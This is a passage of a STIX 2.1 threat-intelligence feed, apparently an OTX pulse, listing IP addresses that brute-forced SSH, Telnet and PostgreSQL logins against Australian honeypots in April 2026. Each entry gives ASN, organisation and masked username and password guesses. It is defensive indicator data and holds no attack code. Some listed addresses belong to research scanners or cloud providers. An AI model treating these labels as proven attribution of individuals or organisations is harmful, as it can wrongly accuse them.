      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--20816c33-60be-4710-9d92-2f24f5fcbe0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T11:15:18.000Z",
      "valid_until": "2026-05-06T11:15:08.000Z"
    },
    {
      "created": "2026-04-04T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 271596. Organisation(s): MaxNet Telecom. Usernames observed (masked): r**t, 3**********4, b**3, e******r, f*****r. Passwords observed (masked): 0****3, ***, 1**********D, 1**4, 3***********4.",
      "id": "indicator--3caaec08-7c37-4179-9216-d243396a5872",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.99.80.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T12:15:10.000Z",
      "valid_until": "2026-05-06T12:15:08.000Z"
    },
    {
      "created": "2026-04-04T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 173. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, t**t, 3**********4, a**r, b**3. Passwords observed (masked): 1**4, !****E, 0****3, ***, 1**********D.",
      "id": "indicator--8a1d27eb-d5a6-48ef-9b74-f797299660e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T12:15:10.000Z",
      "valid_until": "2026-05-06T12:15:08.000Z"
    },
    {
      "created": "2026-04-04T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--c2cc8ff6-773b-44f1-bd68-ac25d52cd10c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T12:15:10.000Z",
      "valid_until": "2026-05-06T12:15:08.000Z"
    },
    {
      "created": "2026-04-04T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 183. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): r**t, u**r, 3**********4, d*****l, e*****r. Passwords observed (masked): *, 1****6, 1********0, 3***********4, 3**********4.",
      "id": "indicator--c2a49560-5d05-4f43-97ef-42f935a6ee50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.39.121.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T12:15:10.000Z",
      "valid_until": "2026-05-06T12:15:08.000Z"
    },
    {
      "created": "2026-04-04T13:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 6327. Organisation(s): Shaw Communications.",
      "id": "indicator--ecba5173-f049-4c63-a897-8aff2942422c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T13:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '24.83.60.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:15:23.000Z",
      "valid_until": "2026-05-06T13:15:08.000Z"
    },
    {
      "created": "2026-04-04T13:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--c2ab8dc4-e91f-4d62-80e4-b58fdc7c1df2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T13:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.10.113.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:15:23.000Z",
      "valid_until": "2026-05-06T13:15:08.000Z"
    },
    {
      "created": "2026-04-04T13:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--64a6c653-6837-41ab-94ec-90c002a74b83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T13:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:15:23.000Z",
      "valid_until": "2026-05-06T13:15:08.000Z"
    },
    {
      "created": "2026-04-04T13:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--14febb6f-7b68-4a3c-9d38-5478f8ffa2f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T13:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:15:23.000Z",
      "valid_until": "2026-05-06T13:15:08.000Z"
    },
    {
      "created": "2026-04-04T13:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--5e980869-8b34-4e88-ac5c-8572e7a55919",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T13:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:15:23.000Z",
      "valid_until": "2026-05-06T13:15:08.000Z"
    },
    {
      "created": "2026-04-04T13:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--f153d099-37a7-42c4-aa66-c6dc905d0705",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T13:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:15:23.000Z",
      "valid_until": "2026-05-06T13:15:08.000Z"
    },
    {
      "created": "2026-04-04T13:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--352d355b-c320-45d4-8a41-a91eb1be5a7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T13:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:15:23.000Z",
      "valid_until": "2026-05-06T13:15:08.000Z"
    },
    {
      "created": "2026-04-04T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, t*******k, 3**********4, d*****r, ***. Passwords observed (masked): 3***********4, 3**********4, D*****3, P*******4, S**************Z.",
      "id": "indicator--35ce3e07-9a9e-49b9-82f2-f21af79bf7eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.250.11.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T14:15:10.000Z",
      "valid_until": "2026-05-06T14:15:08.000Z"
    },
    {
      "created": "2026-04-04T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 18126. Organisation(s): Chubu Telecommunications Company, Inc..",
      "id": "indicator--3a489885-90be-438a-b5f0-0348d6f17254",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.155.22.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T14:15:10.000Z",
      "valid_until": "2026-05-06T14:15:08.000Z"
    },
    {
      "created": "2026-04-04T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--c5219e76-cc96-43ef-953d-3bb40d647683",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.36.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T14:15:10.000Z",
      "valid_until": "2026-05-06T14:15:08.000Z"
    },
    {
      "created": "2026-04-04T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--8576bf76-b18c-41a1-af29-b2a486be1f11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.176.31.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T14:15:10.000Z",
      "valid_until": "2026-05-06T14:15:08.000Z"
    },
    {
      "created": "2026-04-04T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 215672. Organisation(s): MoeChuang Network Limited. Usernames observed (masked): r**t, s****r, 3**********4, ***, g********r. Passwords observed (masked): ***, 1*********R, 3***********4, 3**********4, Q************4.",
      "id": "indicator--e5879846-971f-453a-a1dc-4911e75a1a0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.158.59.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T14:15:10.000Z",
      "valid_until": "2026-05-06T14:15:08.000Z"
    },
    {
      "created": "2026-04-04T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--ea62c971-51a3-4045-8f4d-e39a8aaf5b12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T14:15:10.000Z",
      "valid_until": "2026-05-06T14:15:08.000Z"
    },
    {
      "created": "2026-04-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--2198d7ba-a878-4b19-b953-485a41a0aa83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.171.22.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T15:15:10.000Z",
      "valid_until": "2026-05-06T15:15:08.000Z"
    },
    {
      "created": "2026-04-04T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 136180. Organisation(s): Beijing Tiantexin Tech. Co., Ltd..",
      "id": "indicator--7e0cef78-3fa7-49c1-bde1-9a3d61ba8a4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.203.57.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T15:15:10.000Z",
      "valid_until": "2026-05-06T15:15:08.000Z"
    },
    {
      "created": "2026-04-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): G************1, U**************************************************************************************************************6. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '3.129.187.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T15:15:10.000Z",
      "valid_until": "2026-05-06T15:15:08.000Z"
    },
    {
      "created": "2026-04-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 35063. Organisation(s): Chopin Telewizja Kablowa spolka z ograniczona odpowiedzialnoscia. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--961f321e-333a-4a54-9190-d3aad2f152c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.7.43.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T15:15:10.000Z",
      "valid_until": "2026-05-06T15:15:08.000Z"
    },
    {
      "created": "2026-04-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--25c2b6cf-8b9c-46d4-8f34-d595d84e5f5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.43.37.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T15:15:10.000Z",
      "valid_until": "2026-05-06T15:15:08.000Z"
    },
    {
      "created": "2026-04-04T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 57043. Organisation(s): Hostkey B.v.. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--6adac336-fe4f-4bb6-9667-4a8bab13db09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.35.119.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T15:15:10.000Z",
      "valid_until": "2026-05-06T15:15:08.000Z"
    },
    {
      "created": "2026-04-04T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e5fabd4d-7b2b-4bfc-b28d-a29aa5ab79b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.89.32.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T16:15:11.000Z",
      "valid_until": "2026-05-06T16:15:08.000Z"
    },
    {
      "created": "2026-04-04T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263611. Organisation(s): ZUM TELECOM LTDA- ME. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--0d353206-070d-4012-9efd-7cb355112962",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.124.29.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T16:15:11.000Z",
      "valid_until": "2026-05-06T16:15:08.000Z"
    },
    {
      "created": "2026-04-04T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 158. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 6568. Organisation(s): EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA. Usernames observed (masked): r**t, ***, u****u, 3**********4, d******r. Passwords observed (masked): 1****2, 1****6, 3***********4, 3**********4, A******8.",
      "id": "indicator--e48da5d2-7e6b-4e41-8fa0-7f1efb82b67d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.129.122.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T16:15:11.000Z",
      "valid_until": "2026-05-06T16:15:08.000Z"
    },
    {
      "created": "2026-04-04T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fdd555ff-7c3c-4267-8835-d47c507e5645",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T16:15:11.000Z",
      "valid_until": "2026-05-06T16:15:08.000Z"
    },
    {
      "created": "2026-04-04T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--c835744a-b1d9-4baf-9af7-50a4e6caee6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T16:15:11.000Z",
      "valid_until": "2026-05-06T16:15:08.000Z"
    },
    {
      "created": "2026-04-04T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, ***, a*******r, d****y. Passwords observed (masked): 3***********4, 3**********4, 1****2, A******8, F*******!.",
      "id": "indicator--3ea34e86-07db-4a0a-842c-9e523c0449c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '4.194.4.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T16:15:11.000Z",
      "valid_until": "2026-05-06T16:15:08.000Z"
    },
    {
      "created": "2026-04-04T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--4eba8379-6282-41e3-8d1f-7847e0e2e24a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T16:15:11.000Z",
      "valid_until": "2026-05-06T16:15:08.000Z"
    },
    {
      "created": "2026-04-04T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--04ae6db7-9ec1-4ada-9ffb-71933abab120",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.244.172.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T17:15:11.000Z",
      "valid_until": "2026-05-06T17:15:09.000Z"
    },
    {
      "created": "2026-04-04T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--106436d6-de56-4a59-8600-9cfc1499ab65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.166.114.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T17:15:11.000Z",
      "valid_until": "2026-05-06T17:15:09.000Z"
    },
    {
      "created": "2026-04-04T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c119702c-2f0f-45f3-a635-2f3a618375b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T17:15:11.000Z",
      "valid_until": "2026-05-06T17:15:09.000Z"
    },
    {
      "created": "2026-04-04T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--e1f99223-4250-4b08-8412-8bb20d4042a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.80.187.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T17:15:11.000Z",
      "valid_until": "2026-05-06T17:15:09.000Z"
    },
    {
      "created": "2026-04-04T18:15:10.000Z",
